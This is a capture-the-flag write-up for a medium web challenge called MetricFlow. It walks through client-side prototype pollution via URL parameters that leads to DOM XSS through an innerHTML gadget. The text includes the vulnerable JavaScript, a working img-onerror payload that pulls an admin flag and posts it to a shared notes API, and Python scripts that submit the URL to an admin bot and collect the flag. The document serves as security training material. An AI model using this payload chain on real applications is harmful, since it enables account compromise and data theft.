MetricFlow — DOM XSS via Prototype Pollution Gadget
MetricFlow — DOM XSS via Prototype Pollution Gadget
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_exploitation, client_side_prototype_pollution_via_url_params, data_exfiltration_via_shared_api, dom_xss_via_innerhtml_gadget, img_onerror_xss_bypass
Summary
Task: Analytics dashboard with client-side widget rendering; deepSet() parses URL query params with bracket notation without filtering proto. Solution: Prototype pollution via proto[headerTemplate] injects HTML into innerHTML gadget in renderWidget(), achieving DOM XSS to exfiltrate admin flag via shared notes API.
MetricFlow — DOM XSS via Prototype Pollution Gadget — HackAdvisor
Description
MetricFlow is a real-time analytics dashboard platform built by FlowMetrics Inc. Teams use it to create custom dashboards with configurable widgets — counters, charts, tables, and activity feeds — to track KPIs and share insights across the organization. The platform features a rich client-side rendering engine that powers the dashboard widgets. Users can customize display settings, create multiple dashboards, add annotations, and manage their widget library.
English summary: A dashboard application with client-side widget rendering. Users can customize widgets and share dashboards. An admin bot visits user-submitted URLs via a /report endpoint. The goal is to achieve XSS in the admin's browser and exfiltrate the flag from /api/admin/flag.
Credentials: user@test.com / password123
Analysis
Application Architecture
- Backend: Express.js (Node.js)
- Key endpoints:
/dashboard— main dashboard page, loads widgets via client-side JS/api/admin/flag— returns the flag (admin-only)/api/admin/users,/api/admin/config— other admin endpoints (found viarobots.txt)/api/notes— shared notes API, accessible to all authenticated users/report— submit a URL for the admin bot to visit
- Key JS files:
/js/utils.js(query parsing),/js/dashboard.js(widget rendering) - Decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML comments and divs — must be ignored
Vulnerability 1: Prototype Pollution in utils.js
The deepSet() function parses URL query parameters using bracket notation but does not filter dangerous keys like __proto__ or constructor:
javascript read-only • copy allowedfunction deepSet(target, path, value) { var keys = path.replace(/\]/g, '').split('['); var current = target; for (var i = 0; i < keys.length - 1; i++) { var key = keys[i]; if (typeof current[key] !== 'object' || current[key] === null) { current[key] = {}; } current = current[key]; } current[keys[keys.length - 1]] = value; return target; }
The parseQueryConfig() function calls deepSet() on every URL parameter:
javascript read-only • copy allowedfunction parseQueryConfig() { var config = {}; var search = window.location.search.substring(1); if (!search) return config; var pairs = search.split('&'); for (var i = 0; i < pairs.length; i++) { var pair = pairs[i].split('='); if (pair.length === 2) { var key = decodeURIComponent(pair[0]); var value = decodeURIComponent(pair[1]); deepSet(config, key, value); } } return config; }
When the URL contains ?__proto__[headerTemplate]=PAYLOAD:
deepSetsplits the key into["__proto__", "headerTemplate"]- It traverses
config.__proto__— which isObject.prototype(sincetypeof config.__proto__is'object') - It sets
Object.prototype.headerTemplate = PAYLOAD - Every object in the JavaScript runtime now has
headerTemplatein its prototype chain
Vulnerability 2: DOM XSS Gadget in dashboard.js
The renderWidget() function checks for a headerTemplate property on each widget and uses innerHTML to render it:
javascript read-only • copy allowedfunction renderWidget(widget, container) { var card = document.createElement('div'); // ... var header = document.createElement('div'); header.className = 'widget-header'; if (widget.headerTemplate) { header.innerHTML = widget.headerTemplate; // ← SINK: innerHTML injection } else { header.textContent = widget.title; } card.appendChild(header); // ... }
No widget in the dashboard data actually has a headerTemplate property. However, after prototype pollution, Object.prototype.headerTemplate is set, so widget.headerTemplate resolves to the polluted value via the prototype chain. This value is injected into the DOM via innerHTML for every widget rendered on the page.
Attack Chain Summary
URL query param → deepSet() → Object.prototype.headerTemplate polluted
↓
renderWidget() → widget.headerTemplate (from prototype) → innerHTML → DOM XSS
↓
XSS payload → fetch(/api/admin/flag) → exfiltrate to /api/notes
Solution
Step 1: Craft the XSS Payload
Since innerHTML does not execute <script> tags, use an <img> tag with onerror handler. The payload fetches the admin flag and writes it to the shared notes API:
html read-only • copy allowed<img src=x onerror="fetch('/api/admin/flag').then(r=>r.json()).then(d=>fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'xss',content:JSON.stringify(d)})}))">
Step 2: Build the Prototype Pollution URL
/dashboard?__proto__[headerTemplate]=<img src=x onerror="fetch('/api/admin/flag').then(r=>r.json()).then(d=>fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'xss',content:JSON.stringify(d)})}))">
Step 3: Submit to Admin Bot
python read-only • copy allowed#!/usr/bin/env python3 import requests import urllib.parse BASE = "https://2bead4eb-c613-4c00-b8f2-e61a670a40e4.labs.hackadvisor.io" session = requests.Session() # Login session.post(f"{BASE}/login", data={ "email": "user@test.com", "password": "password123" }) # Build XSS URL with prototype pollution payload = ( '<img src=x onerror="fetch(\'/api/admin/flag\')' '.then(r=>r.json())' '.then(d=>fetch(\'/api/notes\',{method:\'POST\',' 'headers:{\'Content-Type\':\'application/json\'},' 'body:JSON.stringify({title:\'xss\',content:JSON.stringify(d)})}))">' ) encoded_payload = urllib.parse.quote(payload, safe='') xss_url = f"{BASE}/dashboard?__proto__[headerTemplate]={encoded_payload}" # Submit URL to admin bot resp = session.post(f"{BASE}/report", json={"url": xss_url}) print(f"Report submitted: {resp.status_code}")
Step 4: Retrieve the Exfiltrated Flag
python read-only • copy allowedimport time time.sleep(5) # Wait for admin bot to visit the URL notes = session.get(f"{BASE}/api/notes").json() for note in notes: if note.get("username") == "admin": print(f"Flag: {note['content']}") break
Output:
json read-only • copy allowed{"id": 8, "title": "xss", "user_id": 1, "content": "{\"flag\":\"FLAG{REDACTED}\"}", "username": "admin"}